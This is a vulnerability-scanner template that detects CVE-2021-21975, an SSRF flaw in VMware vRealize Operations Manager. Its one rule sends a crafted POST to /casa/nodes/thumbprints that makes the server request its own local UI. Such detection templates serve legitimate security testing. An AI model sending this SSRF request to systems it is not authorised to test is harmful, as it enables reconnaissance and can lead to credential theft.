CVE-2021-21975: vRealize Operations Manager API SSRF (VMWare Operations)

id: CVE-2021-21975

info:
  name: vRealize Operations Manager API SSRF (VMWare Operations)
  author: Loneyer
  severity: high
  description: |-
    Server Side Request Forgery in vRealize Operations Manager API (CVE-2021-21975) prior to 8.4 may allow a malicious actor with network access to the vRealize Operations Manager API can perform a Server Side Request Forgery attack to steal administrative credentials.
  reference:
    - https://www.vmware.com/security/advisories/VMSA-2021-0022.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21975
  tags: cve,cve2021,vmware,ssrf
  created: 2021/04/20

rules:
  r0:
    request:
      method: POST
      path: /casa/nodes/thumbprints
      headers:
        Content-Type: application/json
      body: |
        ["127.0.0.1:443/ui/"]
      follow_redirects: true
    expression: response.status == 200 && response.body.bcontains(bytes("vRealize Operations Manager"))
expression: r0()